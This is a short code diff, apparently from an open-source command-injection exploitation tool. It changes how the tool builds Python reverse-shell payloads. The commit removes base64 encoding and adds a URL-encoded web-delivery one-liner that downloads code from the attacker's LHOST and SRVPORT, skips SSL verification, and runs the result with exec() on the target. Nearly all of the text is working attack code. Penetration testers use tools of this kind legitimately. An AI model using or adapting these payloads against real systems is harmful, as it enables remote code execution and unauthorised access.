@@ -446,7 +446,7 @@ def other_reverse_shells(separator):
446
446
with open (output , "r" ) as content_file :
447
447
data = content_file .readlines ()
448
448
data = '' .join (data )
449
- data = base64 .b64encode (data .encode (settings .UNICODE_ENCODING )).decode ()
449
+ # data = base64.b64encode(data.encode(settings.UNICODE_ENCODING)).decode()
450
450
451
451
print (settings .SINGLE_WHITESPACE )
452
452
# Remove the ouput file.
@@ -460,9 +460,9 @@ def other_reverse_shells(separator):
460
460
461
461
if settings .TARGET_OS == "win" and not settings .USER_DEFINED_PYTHON_DIR :
462
462
set_python_working_dir ()
463
- other_shell = settings .WIN_PYTHON_DIR + " -c exec(' " + data + "'.decode('base64'))"
463
+ other_shell = settings .WIN_PYTHON_DIR + " -c " + data
464
464
else :
465
- other_shell = settings .LINUX_PYTHON_INTERPRETER + " -c \" exec(' " + data + "'.decode('base64')) \" "
465
+ other_shell = settings .LINUX_PYTHON_INTERPRETER + " -c " + " \" " + data + "\" "
466
466
msf_launch_msg (output )
467
467
except :
468
468
print (settings .SINGLE_WHITESPACE )
@@ -632,13 +632,12 @@ def other_reverse_shells(separator):
632
632
"exploit\n \n " )
633
633
634
634
if web_delivery == '1' :
635
- data = "; r=_urllib.request.urlopen('http://" + str (settings .LHOST ) + ":" + str (settings .SRVPORT ) + settings .URIPATH + "'); exec(r.read());"
636
- data = base64 .b64encode (data .encode (settings .UNICODE_ENCODING )).decode ()
635
+ data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str (settings .LHOST ) + ":" + str (settings .SRVPORT ) + settings .URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b"
637
636
if settings .TARGET_OS == "win" and not settings .USER_DEFINED_PYTHON_DIR :
638
637
set_python_working_dir ()
639
- other_shell = settings .WIN_PYTHON_DIR + " -c exec(' " + data + "'.decode('base64'))"
638
+ other_shell = settings .WIN_PYTHON_DIR + " -c " + data
640
639
else :
641
- other_shell = settings .LINUX_PYTHON_INTERPRETER + " -c \" exec(' " + data + "'.decode('base64')) \" "
640
+ other_shell = settings .LINUX_PYTHON_INTERPRETER + " -c " + " \" " + data + "\" "
642
641
msf_launch_msg (output )
643
642
break
644
643
elif web_delivery == '2' :
0 commit comments